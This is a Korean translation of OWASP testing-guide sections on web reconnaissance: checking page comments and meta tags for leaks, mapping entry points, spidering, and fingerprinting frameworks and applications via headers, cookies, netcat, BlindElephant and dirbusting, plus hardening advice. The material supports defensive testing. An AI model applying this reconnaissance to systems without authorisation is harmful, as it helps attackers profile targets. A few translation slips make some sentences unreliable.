응용 프로그램을 더 잘 이해하고 모든 정보 유출을 찾기 위해 웹 페이지 주석과 메타 데이터를 확인


테스트 방법

HTML 주석은 종종 응용 프로그램에 관한 디버깅 정보를 포함하도록 개발자에 의해 사용됩니다. 테스터는 ""을 시작으로 하는 HTML 주석을 찾을 것 입니다.


Black Box Testing

응용 프로그램에 관한 민감한 정보를 포함하는 HTML 소스코드 주석을 확인하십시오. SQL 코드, 사용자명, 패스워드, 내부 IP 주소, 디버깅 정보등이 그것입니다.

...
<div class="table2">
    <div class="col1">1</div><div class="col2">Mary</div>
    <div class="col1">2</div><div class="col2">Peter</div>
    <div class="col1">3</div><div class="col2">Joe</div>
<!-- Query: SELECT id, name FROM app.users WHERE active='1' -->
</div>
...

테스트를 하다보면 아래와 같은 주석 정보도 찾을 수 있습니다.

<!-- Use the DB administrator password for testing: f@keP@a$$w0rD -->

유효한 버전 번호 및 DTD(Data Type Definition) URL에 대한 HTML 버전 정보 확인

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  • "strict.dtd" -- default strict DTD
  • "loose.dtd" -- loose DTD
  • "frameset.dtd" -- DTD for frameset documents

일부 메타 태그는 유효 공격 벡터를 제공하지 않지만, 대신 공격자가 응용 프로그램의 프로필을 작성하도록 허용합니다.

<META name="Author" content="Andrew Muller">

일부 메타 태그는 다음과 같이 메타 요소의 content 속성을 기반으로 HTTP 응답 헤더를 설정하는 http-equiv와 같은 HTTP 응답 헤더를 변경합니다.

<META http-equiv="Expires" content="Fri, 21 Dec 2012 12:34:56 GMT">

예상 결과

Expires: Fri, 21 Dec 2012 12:34:56 GMT
<META http-equiv="Cache-Control" content="no-cache">

예상 결과

Cache-Control: no-cache

인젝션 공격(CRLF 공격)을 수행하는 데 사용 할 수 있는지 테스트합니다.

It can also help determine the level of data leakage via the browser cache. 또한 브라우저 캐시를 통해 데이터 유출 수준을 결정하는데도 도움이 됩니다.

<META http-equiv="Refresh" content="15;URL=https://www.owasp.org/index.html">

메타 태그의 일반적인 용도는 검색 엔진이 검색 결과의 품질을 높이기 위해 사용 할 수 있는 키워드를 지정하는 것입니다.

<META name="keywords" lang="en-us" content="OWASP, security,sunshine, lollipops">

대부분의 웹 서버는 robots.txt 파일을 통해 검색 엔진 색인 생성을 관리하지만 메타 태그로 관리 할 수도 있습니다. 아래의 태그는 로봇이 태그를 포함하지 않고 해당 태그가 포함 된 HTML 페이지의 링크를 따르지 않도록 조언합니다

<META name="robots" content="none">

Gray Box Testing

Not applicable.


도구

  • Wget
  • Browser "view source" function
  • Eyeballs
  • Curl

OTG-INFO-006 (응용 프로그램 엔트리 포인트 식별)


개요

테스터가 취약한 부분을 식별 할 수 있도록 철저한 테스트를 수행하기 전에 응용 프로그램 및 취약한 부분을 목록화하는 것이 중요한 선행입니다.

이 섹션에서는 목록화 및 매핑이 완료되면 조사해야 하는 응용 프로그램 내의 영역을 식별하고 매핑하는 것을 돕습니다.


테스트 목적

리퀘스트가 어떻게 형성되는 지와 응용 프로그램으로 부터 전형적인 응답 이해


테스트 방법


테스트를 시작하기 전에, 테스터는 항상 응용 프로그램과 사용자 및 브라우저가 어떻게 통신하는지 잘 이해하고 있어야 합니다. 테스터가 응용 프로그램을 탐색 할 때 응용 프로그램에 전달되는 모든 매개 변수와 양식 필드뿐만 아니라 모든 HTTP 요청에 특히 주의해야 합니다. 또한, GET 요청이 사용되는 시기와 POST 요청이 매개 변수를 응용 프로그램에 전달하는 데 사용될 때 주의해야 합니다. GET 요청이 사용되는 것이 일반적이지만, 민감한 정보가 전달되면 POST 요청 본문 내에서 수행되는 경우가 많습니다.

POST 요청에서 전송된 매개 변수를 보려면 테스터가 인터셉팅 프록시 (Burp Suite, ZAP) 또는 브라우저 플러그인과 같은 도구를 사용해야 합니다. POST 요청 내에서 테스터는 응용 프로그램에 전달되는 숨겨진 양식 필드에 특별한 주의를 기울여야 합니다. 일반적으로 상태 정보, 항목 수, 항목 가격, 개발자가 절대 사용하지 않는 민감한 정보가 포함되어 있기 때문입니다. 보거나 변경하기위한 것입니다.

저자의 경험에 따르면, 테스트 단계에서 인터셉팅 프록시와 스프레드 시트를 사용하는 것이 매우 유용합니다. 프록시는 테스터와 응용 프로그램이 통신하는 동안 요청자와 응답 간의 모든 요청 및 응답을 추적합니다. 또한 이 시점에서 테스터는 대개 모든 요청과 응답을 트랩하여 응용 프로그램에 전달되는 모든 헤더와 매개 변수 등을 정확히 볼 수 있도록 반환됩니다. 특히 대규모 대화식 사이트에서는 매우 지루할 수 있습니다. 그러나, 경험을 통해 무엇을 찾아야 하는 단계를 현저하게 줄일 수 있습니다.

테스터가 응용 프로그램을 진행하면서 URL, 커스텀 헤더 또는 요청/응답의 흥미로운 매개 변수를 기록하고 스프레드 시트에 저장해야합니다. 스프레드 시트에는 요청된 페이지, 흥미로운 매개 변수, 요청 유형(POST/GET), 액세스가 인증/인증되지 않은 경우, SSL 다중 단계 프로세스의 일부인 경우에는 기타 관련 노트를 사용합니다. 일단 응용 프로그램의 모든 영역이 매핑되면 응용 프로그램을 거쳐 식별된 각 영역을 테스트하고 작동한 것과 작동하지 않은 것을 체크 할 수 있습니다. 이 가이드의 나머지 부분에서는 이러한 각 관심 영역을 테스트하는 방법을 식별하지만 실제 테스트를 시작하기 전에 이 섹션을 수행해야합니다.

다음은 모든 요청 및 응답에 대한 관심 사항입니다. 요청 섹션에서 GET 및 POST 메서드에 중점을 둡니다. 요청의 대부분이 나타나기 때문입니다. PUT 및 DELETE와 같은 다른 방법을 사용할 수 있습니다. 이러한 드문 요청이 허용되는 경우 종종 취약성을 노출 할 수 있습니다. 이 HTTP 메서드를 테스트하기 위한 전용 섹션이 이 가이드에 있습니다.


Requests

  • GET이 사용되는 위치와 POST가 사용되는 위치를 식별하십시오.
  • POST 요청에 사용된 모든 매개 변수를 식별합니다 (요청 본문에 있음).
  • POST 요청 내에서 숨겨진 매개 변수에 특히 주의하십시오. POST가 전송되면 모든 양식 필드(숨겨진 매개 변수 포함)가 HTTP 메시지 본문에서 응용 프로그램으로 전송됩니다. 프록시 또는 HTML 소스 코드 보기가 사용되지 않는 한 일반적으로 표시되지 않습니다. 또한 표시된 다음 페이지, 해당 데이터 및 액세스 수준은 모두 숨겨진 매개 변수의 값에 따라 다를 수 있습니다.
  • GET 요청(예: URL)에 사용 된 모든 매개 변수, 특히 쿼리 문자열을 식별합니다 (일반적으로 ?기호 다음에 표시).
  • 쿼리 문자열의 모든 매개 변수를 확인하십시오. 이들은 대개 foo = bar와 같은 쌍 형식입니다. 또한 많은 매개 변수는 &, ~, : 또는 다른 특수 문자 또는 인코딩으로 구분 된 것과 같이 하나의 쿼리 문자열에 있을 수 있습니다.
  • 한 문자열이나 POST 요청에서 여러 매개 변수를 식별 할 때 특히 주의해야 할 점은 일부 또는 모든 매개 변수가 공격을 실행하는 데 필요하다는 것입니다. 테스터는 (모든 매개 변수를 식별하고 어떤 매개 변수가 응용 프로그램에서 처리되는지 식별해야합니다. 이 가이드의 이후 섹션에서는 이러한 매개 변수를 테스트하는 방법을 설명합니다. 이 시점에서 각 항목이 식별되는지 확인하십시오.
  • 또한 일반적으로 표시되지 않는 추가 또는 사용자 정의 유형 헤더에 주의하십시오.

Responses

  • 새 쿠키가 설정된 위치 (Set-Cookie 헤더), 수정 또는 추가 된 위치를 식별합니다.
  • 정상 응답 (즉, 수정되지 않은 요청) 중에 리디렉션 (3xx HTTP 상태 코드), 400 상태 코드, 특히 403 금지됨 및 500 내부 서버 오류가있는 위치를 식별하십시오.
  • 또한, 흥미로운 헤더가 사용되는 곳을 주목하십시오. 예를 들어 "Server : BIG-IP"는 사이트의 부하가 분산되었음을 나타냅니다. 따라서 사이트가 로드 밸런싱되고 하나의 서버가 잘못 구성된 경우 테스터는 사용된 로드 밸런싱 유형에 따라 취약한 서버에 액세스하기 위해 여러 요청을 해야 할 수 있습니다.

Black Box Testing

응용 프로그램 엔트리 포인트 테스트:

응용 프로그램 엔트리 포인트를 체크하는 방법은 다음 두가지 예가 있습니다.


예제 1

이 예제는 온라인 쇼핑 응용 프로그램으로 부터 아이템을 구매하는 GET 리퀘스트를 보여줍니다.

GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x

Host: x.x.x.x
Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy

예상 결과

여기 테스터는 리퀘스트의 파라미터 모두를 기록해야 합니다. (CUSTOMERID, ITEM, PRICE, IP, Cookie)


예제 2

이 예제는 응용 프로그램으로 로그인하는 POST 리퀘스트를 보여줍니다.

POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-service=login
Host: x.x.x.x
Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA==
CustomCookie=00my00trusted00ip00is00x.x.x.x00
POST Body:
user=admin&pass=pass123&debug=true&fromtrustIP=true

예상 결과

이 예제에서 테스터는 POST Body 상에 모든 파라미터를 기록해야 합니다. 또한, Cookie값과 CustomCookie값 역시 기록합니다.


Gray Box Testing

Gray Box 방법론을 통해 응용 프로그램 진입 점을 테스트하는 것은 위에 추가 된 항목으로 이미 식별 된 모든 항목으로 구성됩니다. 응용 프로그램에서 데이터를 수신하고 처리하는 외부 소스 (예 : SNMP 트랩, Syslog 메시지, SMTP 또는 다른 서버의 SOAP 메시지)가 있는 경우 응용 프로그램 개발자와의 회의에서 사용자를 수락하거나 기대하는 모든 기능을 식별 할 수 있으며 입력 및 형식 지정 방법에 대해 설명합니다. 예를 들어 개발자는 응용 프로그램이 받아들일 정확한 SOAP 요청을 공식화하는 방법과 웹 서비스가 상주하는 위치를 이해하는 데 도움을 줄 수 있습니다.


도구

웹 프록시
  • OWASP: Zed Attack Proxy (ZAP)
  • OWASP: WebScarab
  • Burp Suite
  • CAT
브라우저 플러그인
  • Internet Explorer: TamperIE
  • Firefox: Tamper Data

참고 문헌

Whitepapers

OTG-INFO-007 (응용 프로그램을 통해 경로 실행 매핑)


개요

보안 검사를 시작하기 전에, 응용 프로그램의 구조를 이해하는 것은 중요합니다. 응용 프로그램 레이아웃에 대한 이해 없이, 완벽한 테스트는 할 수 없을 것입니다.


테스트 목적

대상 응용 프로그램을 매핑화하고 주요 워크 플로우를 이해하기


테스트 방법

black box 테스트에서 전체 코드를 기반으로 테스트하는 것은 매우 어렵습니다. 테스터가 응용 프로그램을 통한 코드 경로를 전혀 볼 수 없을 뿐만 아니라 모든 코드 경로를 테스트 하는 데 시간이 많이 걸릴 것입니다. 이를 조정하는 한 가지 방법은 코드 경로가 발견되고 테스트되었는지를 문서화하는 것입니다.

코드 적용 범위의 테스트 및 측정에 접근하는 방법에는 여러 가지가 있습니다.

  • 경로 - 각 의사 결정 경로에 대한 조합 및 경계 값 분석 테스트가 포함 된 응용 프로그램을 통해 각 경로를 테스트하십시오. 이 접근 방식은 철저한 테스트를 제공하지만 테스트 가능한 경로의 수는 각 결정 지점마다 기하 급수적으로 커집니다.
  • 데이터 플로우 - 외부 상호 작용을 통해 변수를 할당합니다. 응용 프로그램 전반에 걸쳐 데이터의 흐름, 변환 및 사용을 매핑하는 데 중점을 둡니다.
  • Race - 동일한 데이터를 조작하는 응용 프로그램의 여러 동시 인스턴스를 테스트합니다.

어떤 방법을 사용하고 각 방법을 어느 정도 사용하는지에 대한 절충은 응용 프로그램 소유자와 협의해야 합니다. 응용 프로그램 소유자에게 특히 관심이 있는 기능 또는 코드 섹션과 해당 코드 세그먼트에 도달 할 수 있는 방법을 묻는 것을 포함하여 보다 간단한 방법을 채택 할 수도 있습니다.


Black Box Testing

응용 프로그램 관리자에게 코드 커버리지를 설명하기 위해, 테스터는 스프레드시트로 시작하고 응용 프로그램을 스파이더링에 의해 발견된 모든 링크를 문서화할 수 있습니다.

그런 다음 테스터는 응용 프로그램에서 결정 포인트 더 자세히보고 중요한 코드 경로가 발견 얼마나 많은 조사 할 수 있습니다. 이 후 발견 된 경로의 URL을, 산문 및 스크린 샷 설명과 함께 스프레드 시트에 문서화되어야한다.


Gray/White Box testing

테스트에 대한 Gray/White Box 방식을 사용하면 응용 프로그램 소유자에게 충분한 코드 범위를 보장 할 수 있습니다.

테스터가 요청하여 제공하는 정보는 코드 커버리지의 최소 요구 사항을 충족하도록 보장합니다.


예제

자동 스파이더

자동 스파이더는 지정한 웹사이트에 새로운 리소스를 자동으로 발견하는 데 사용하는 툴입니다. 스파이더 사직되는 방법에 따라 씨드라고 불리는 방문할 URL 리스트로 시작됩니다. 수많은 스파이더링 툴이 있으며, 이 문서에서는 Zed Attack Proxy를 사용합니다.


ZAP은 테스터의 필요에 따라 선택할 수있는 다음과 같은 자동 스파이더 링 기능을 제공합니다.

  • Spider Site - 시드 목록에는 선택한 사이트에 대해 이미 발견 된 기존 URI가 모두 들어 있습니다.
  • Spider Subtree - 시드 목록에는 이미 발견되어 선택된 노드의 하위 트리에 있는 기존 URI가 모두 들어 있습니다.
  • Spider URL - 시드 목록에는 선택한 노드 (사이트 트리에 있음)에 해당하는 URI 만 포함됩니다.
  • Spider all in Scope - 시드 목록에는 사용자가 '범위 내에 있음'으로 선택한 모든 URI가 포함됩니다.

도구

  • Zed Attack Proxy (ZAP)
  • List of spreadsheet software
  • Diagramming software

OTG-INFO-008 (웹 응용 프로그램 프레임워크 핑거프린트)


개요

웹 프레임워크 핑거프린트는 정보 수집 과정 중 중요한 작업 중 하나입니다.

이러한 프레임워크가 침투 테스터에 의해 이미 테스트 되었다면, 프레임워크의 유형을 아는 것은 자동으로 큰 이점을 제공할 수 있습니다.

패치되지 않은 버전의 알려진 취약점 뿐 아니라 프레임워크의 특정 구성 오류 및 핑거프린팅 프로세스를 중요하게 만드는 알려진 파일 구조이기도 합니다. 여러 다른 공급 업체 및 웹 프레임 워크 버전이 널리 사용됩니다. 이에 대한 정보는 테스트 과정에서 크게 도움이되며 테스트 과정을 변경하는 데 도움이 될 수 있습니다. 이러한 정보는 특정 공통 위치에 대한 신중한 분석을 통해 얻을 수 있습니다.

대부분의 웹 프레임 워크에는 공격자가 사이트를 발견하는 데 도움이 되는 여러 마커가 있습니다. 이것은 기본적으로 모든 자동 도구가 수행하는 것으로 사전 정의 된 위치에서 마커를 찾고 알려진 서명의 데이터베이스와 비교합니다. 더 나은 정확성을 위해 일반적으로 여러 마커가 사용됩니다.


테스트 목적

보안 테스트 방법에 대한 더 나은 이해를 갖기 위해 사용하는 웹 프레임워크 유형을 정의


테스트 방법


Black Box Testing

현재 프레임워크를 정의하기 위해 찾을 수 있는 가장 일반적인 위치가 있습니다.

  • HTTP 헤더
  • Cookies
  • HTML source code
  • 특정 파일과 폴더

HTTP 헤더

웹 프레임워크를 식별하는 가장 기본적인 형태는 HTTP response 헤더에서 X-Powered-By 필드를 찾는 것입니다. 많은 툴들이 목표에 대한 핑거프린트를 하는데 사용될 수 있습니다. 가장 간단한 것 중 하나가 netcat 유틸리티입니다. 다음 HTTP Request와 Response를 고려해봅니다.

$ nc 127.0.0.1 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Mono

X-Powered-By 필드로 부터, Mono라는 웹 응용 프로그램 프레임워크인 걸 확인하였습니다. 이 방법은 간단하고 빠르지만, 100% 완벽하지는 않습니다. 설정에 의해 쉽게 X-Powered-By 헤더를 비활성화 할 수 있습니다. 또한, HTTP 헤더를 통해 난독화할 수 있는 몇가지 기술이 있습니다. 그래서, 아래 같은 예제에서 테스터는 X-Powered-By 헤더가 누락되거나 다음과 같은 응답을 얻을 수 있습니다.

HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Blood, sweat and tears

때때로는 특정 웹 프레임워크를 가리키는 HTTP 헤더가 있습니다. 다음 예제에서, HTTP 리퀘스트로 부터 정보에 의해 PHP 버전을 포함하는 X-Powered-By 헤더를 볼 수 있습니다. 그러나, X-Generator 헤더는 실제로 사용되는 프레임워크가 Swiftlet를 가리키며, 침투 테스터는 공격 경로를 확장하는 데 도움이 됩니다. 핑거프린팅을 수행할 때, 항상 HTTP 헤더 노출에 대한 검사를 주의깊게 해야합니다.

HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16-1~dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, postcheck=0, pre-check=0
Pragma: no-cache
X-Generator: Swiftlet

Cookies

현재 웹 프레임워크를 결정하는 또 다른 유사한 방법은 프레임워크의 특정 쿠키 값입니다.

GET /cake HTTP /1.1
Host: defcon-moscow.org
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv:
Accept: text/html, application/xhtml + xml, application/xml;
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3
Accept - Encoding: gzip, deflate
DNT: 1
Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71;
Connection: Keep-alive
Cache-Control: max-age=0

프레임워크 사용에 대한 정보를 CAKEPHP 쿠키로 자동 설정됩니다.

/**
* The name of CakePHP`s session cookie.
*
* Note the guidelines for Session names states: "The session
name references
* the session id in cookies and URLs. It should contain only alphanumeric
* characters."
* @link http://php.net/session_name
*/
Configure::write('Session.cookie', 'CAKEPHP');

그러나, 이러한 변경은 X-Powered-By 헤더의 변경보다 쉽게 수행되지 않으므로, 이 방법은 더 안정적인 것으로 간주 될 수 있습니다.


HTML source code

이 기법은 HTML 페이지 소스 코드에서 특정 패턴을 찾는 것에 기반합니다.

종종 테스터가 특정 웹 프레임워크를 인식하는 데 도움이되는 많은 정보를 찾을 수 있습니다. 일반적인 마커 중 하나는 프레임워크 공개로 직접 이어지는 HTML 주석입니다.

종종 특정 프레임워크 별 경로, 즉 프레임워크 별 css 또는 js 폴더에 대한 링크를 찾을 수 있습니다. 마지막으로 특정 스크립트 변수는 특정 프레임워크를 가리킬 수도 있습니다. 아래 스크린 샷에서 언급된 마커를 통해 사용된 프레임워크와 버전을 쉽게 배울 수 있습니다.

주석, 특정 경로 및 스크립트 변수는 모두 공격자가 ZK 프레임 워크의 인스턴스를 신속하게 결정하는 데 도움이 될 수 있습니다.

이러한 정보는 <head> </head> 태그, <meta> 태그 또는 페이지 끝 부분에 더 자주 배치됩니다. 그럼에도 불구하고 다른 유용한 주석과 숨겨진 필드를 검사하는 것과 같은 다른 목적에 유용할 수 있기 때문에 전체 문서를 검사하는 것이 좋습니다. 때때로 웹 개발자는 사용된 프레임워크에 대한 정보를 숨기지 않습니다. 다음과 같이 페이지 하단에서 우연히 마주치는 것이 가능할 수 있습니다.


일반적인 프레임워크
Cookies
프레임워크 Cookie 이름
Zope zope3
CakePHP cakephp
Kohana kohanasession
Laravel laravel_session
HTML 소스 코드
일반적인 마커
%framework_name%
powered by
built upon
running
특수 마커
프레임워크 키워드
Adobe ColdFusion <!-- START headerTags.cfm
Microsoft ASP.NET __VIEWSTATE
ZK <!-- ZK
Business Catalyst <!-- BC_OBNW -->
Indexhibit ndxz-studio

특정 파일과 폴더

특정 파일 및 폴더는 특정 프레임워크마다 다릅니다. 어떤 인프라가 제공되고 어떤 파일이 서버에 남아있을지 더 잘 이해할 수 있도록 침투 테스트 중에 해당 프레임워크를 설치해 보는 것이 좋습니다. (http://code.google.com/p/fuzzdb/).


도구

WhatWeb

http://www.morningstarsecurity.com/research/whatweb

현재 시장에서 가장 우수한 지문 인식 도구 중 하나입니다. 기본 Kali Linux 빌드에 포함됩니다. 언어: Ruby 지문 일치는 다음으로 이루어집니다.

  • Text strings (case sensitive)
  • Regular expressions
  • Google Hack Database queries (limited set of keywords)
  • MD5 hashes
  • URL recognition
  • HTML tag patterns
  • Custom ruby code for passive and aggressive operations

BlindElephant

https://community.qualys.com/community/blindelephant

이 훌륭한 도구는 정적 파일 체크섬 기반의 원칙에 따라 작동합니다. 버전 차이로 인해 매우 높은 품질의 지문을 제공합니다. 언어: Python

성공적인 지문 샘플 출력

pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/
dbs/drupal.pkl with 145 versions, 478 differentiating paths,
and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at
http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn`t match
known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn`t match
known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn`t match
known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7,
7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14
...

Fingerprinting resulted in:
7.14

Best Guess: 7.14

Wappalyzer

http://wappalyzer.com

Wapplyzer는 Firefox Chrome 플러그인입니다. 정규식 일치에서만 작동하며 브라우저에 로드할 페이지 이외의 다른 것을 필요로 하지 않습니다. 그것은 브라우저 수준에서 완전히 작동하고 아이콘의 형태로 결과를 제공합니다. 때로는 오탐(false positive)이 있지만, 때때로 페이지를 탐색한 후 대상 웹 사이트를 구성하는 데 사용된 기술을 이해하는 데 매우 편리합니다.

플러그인의 샘플 출력은 아래 스크린 샷에 나와 있습니다.


참고 문헌

Whitepapers

권고 사항

일반적인 조언은 위에 설명된 여러 도구를 사용하여 로그를 검사하여 침입자가 웹 프레임워크를 공개하는 데 정확히 도움이 되는지 이해하는 것입니다. 프레임워크 트랙을 숨기도록 변경한 후에 여러 번 스캔을 수행하면 더 나은 보안 수준을 달성하고 자동 스캔으로 프레임워크를 감지할 수 없는 지 확인할 수 있습니다. 다음은 프레임워크 마커 위치 및 몇 가지 추가적인 흥미로운 접근법에 따른 몇 가지 구체적인 권장 사항입니다.

HTTP headers

구성을 확인하고 기술이 사용하는 정보를 공개하는 모든 HTTP 헤더를 비활성화하거나 난독화 하십시오. 다음은 Netscaler를 사용하는 HTTP 헤더 난독화에 대한 흥미로운 기사입니다.

http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html


Cookies

해당 구성 파일을 변경하여 쿠키 이름을 변경하는 것이 좋습니다.


HTML source code

수동으로 HTML 코드의 내용을 확인하고 명시적으로 프레임워크를 가리키는 모든 것을 제거하십시오.

일반 지침 :

  • 프레임 워크를 공개하는 시각적 마커가 없는지 확인하십시오.
  • 불필요한 주석(저작권, 버그 정보, 특정 프레임 워크 주석)을 제거하십시오.
  • META 및 생성기 태그 제거
  • 회사의 css 또는 js 파일을 사용하고 프레임 워크 관련 폴더에 파일을 저장하지 않습니다.
  • 페이지에서 기본 스크립트를 사용하지 않거나 사용해야 할 경우 난독 화합니다.

특정 파일과 폴더

일반 지침:

  • 서버에서 불필요하거나 사용되지 않는 파일을 제거하십시오. 이것은 텍스트 파일이 버전 및 설치에 대한 정보를 공개함을 의미합니다.
  • 외부 파일에 액세스 할 때 404 응답을 얻기 위해 다른 파일에 대한 액세스를 제한하십시오. 예를 들어, htaccess 파일을 수정하고, RewriteCond 또는 RewriteRule을 추가하여 이를 수행 할 수 있습니다. 두 가지 일반적인 WordPress 폴더에 대한 이러한 제한의 예가 아래에 나와 있습니다.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]

그러나 이것 만이 액세스를 제한하는 유일한 방법은 아닙니다. 이 프로세스를 자동화하기 위해 특정 프레임워크 관련 플러그인이 존재합니다. WordPress의 한 가지 예가 StealthLogin입니다. (http://wordpress.org/plugins/stealth-login-page).


추가 접근법

일반 지침:

  1. 체크섬 관리

이 접근법의 목적은 체크섬 기반 스캐너를 이기고, 해시로 파일을 공개하지 못하게하는 것입니다. 일반적으로 체크섬 관리에는 두 가지 방법이 있습니다.

  • 파일을 저장할 위치를 변경합니다 (예 : 다른 폴더로 이동하거나 기존 폴더 이름 바꾸기).
  • 내용을 수정하십시오 : 완전히 다른 해시 합계로 약간의 수정 결과가 있어도 파일 끝에 단일 바이트를 추가하는 것이 큰 문제는 아닙니다.
  1. 제어가능한 혼돈

재미있는 방법은 스캐너를 속이고 공격자를 혼란시키기 위해 다른 프레임워크에서 가짜 파일과 폴더를 추가하는 것입니다. 그러나 기존 파일과 폴더를 덮어 쓰지 말고 현재 프레임워크를 깨뜨리지 않도록 주의하십시오!


OTG-INFO-009 (웹 응용 프로그램 핑거프린트)


개요

태양 아래에서는 새로운 것이 없으며 개발을 생각할 수 있는 거의 모든 웹 응용 프로그램이 이미 개발되었습니다.

전 세계적으로 활발히 개발되고 배포되는 무료 및 오픈 소스 소프트웨어 프로젝트가 많기 때문에 응용 프로그램 보안 테스트가 이러한 잘 알려진 응용 프로그램에 전적으로 또는 부분적으로 의존하는 대상 사이트에 직면하게 될 가능성이 매우 큽니다 (예 : Wordpress, phpBB, Mediawiki 등).

테스트 중인 웹 응용 프로그램 구성 요소를 잘 알고 있으면 테스트 프로세스에 도움이 되며, 테스트 중에 필요한 노력을 크게 줄일 수 있습니다. 이러한 잘 알려진 웹 응용 프로그램에는 응용 프로그램을 식별하기 위해 목록화 할 수 있는 HTML 헤더, 쿠키 및 디렉터리 구조가 있습니다.


테스트 목적

웹 응용 프로그램, 알려진 취약점을 결정하는 버전, 테스트 시 사용할 적절한 익스플로잇 확인


테스트 방법

Cookies

웹 응용 프로그램을 식별하기 위한 신뢰할 수 있는 방법은 응용 프로그램에 지정된 쿠키이다.

HTTP-request 확인:

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5
‘’’Cookie: wp-settings-time-1=1406093286; wp-settingstime-2=1405988284’’’
DNT: 1
Connection: keep-alive
Host: blog.owasp.org

CAKEPHP는 쿠키가 자동으로 설정되어, 사용하고 있는 프레임워크 정보를 제공합니다. 일반적인 쿠키명 목록은 아래 Common Application Identifiers 섹션에 나와있습니다. 그러나, 쿠키 이름은 바꾸는게 가능합니다.


HTML source code

이 기술은 HTML 페이지 소스 코드에서 정확한 패턴을 찾는게 기본입니다.

테스터가 특정 웹 응용 프로그램을 인식하는 데 도움이 되는 많은 정보를 자주 볼 수 있습니다. 일반적인 마커 중 하나는 응용 프로그램 공개로 직접 이어지는 HTML 주석입니다. 종종 특정 응용 프로그램 별 경로, 즉 응용 프로그램 별 css 또는 js 폴더에 대한 링크를 찾을 수 있습니다.

마지막으로 특정 스크립트 변수는 특정 응용 프로그램을 가리킬 수도 있습니다. 아래 메타 태그에서 웹 사이트와 웹 사이트 버전에서 사용하는 응용 프로그램을 쉽게 배울 수 있습니다. 주석, 특정 경로 및 스크립트 변수는 모두 공격자가 응용 프로그램의 인스턴스를 신속하게 결정하는 데 도움이 될 수 있습니다.

<meta name="generator" content="WordPress 3.9.2" />

이러한 정보는 <head> </head> 태그, <meta> 태그 또는 페이지 끝 부분에 더 자주 배치됩니다. 그럼에도 불구하고 다른 유용한 주석과 숨겨진 필드를 검사하는 것과 같은 다른 목적에 유용 할 수 있기 때문에 전체 문서를 검사하는 것이 좋습니다.


특정 파일과 폴더

HTML 소스에서 수집한 정보 외에도 공격자가 높은 정확도로 응용 프로그램을 결정하는 데 큰 도움이되는 또 다른 방법이 있습니다.

모든 응용 프로그램에는 서버에 고유한 특정 파일 및 폴더 구조가 있습니다.

HTML 페이지 소스에서 특정 경로를 볼 수 있지만 때때로 명시적으로 거기에 표시되지 않고 여전히 서버에 상주하지 않는 경우가 있습니다.

그들을 밝히기 위해 dirbusting으로 알려진 기술이 사용됩니다.

Dirbusting은 예상 할 수있는 폴더 및 파일 이름을 가진 대상을 강요하고 HTTP 응답을 모니터링하여 서버 내용을 표시합니다.

이 정보는 기본 파일을 찾고 이를 공격하고 웹 응용 프로그램을 핑거프린티하는 데 사용할 수 있습니다.

Dirbusting은 여러 가지 방법으로 수행 할 수 있습니다. 아래 예제는 Burp Suite의 정의된 목록 및 침입자 기능을 사용하여 WordPress 기반 대상에 대한 성공적인 dirbusting 공격을 보여줍니다.

일부 워드 프레스 관련 폴더 (예 : /wp-includes/, /wp-admin/ 및 /wp-content/)에서 HTTP 응답은 403(금지됨), 302 (찾음, wp-login.php) 및 200 (OK). 이것은 목표가 WordPress로 구동된다는 것을 나타내는 좋은 지표입니다.

같은 방법으로 다른 응용 프로그램 플러그인 폴더와 해당 버전을 더빙할 수 있습니다. 아래의 스크린 샷에서 Drupal 플러그인의 일반적인 CHANGELOG 파일을 볼 수 있습니다. 이 파일은 사용중인 응용 프로그램에 대한 정보를 제공하고 취약한 플러그인 버전을 공개합니다.

팁: dirbusting을 시작하기 전에 먼저 robots.txt 파일을 확인하는 것이 좋습니다.

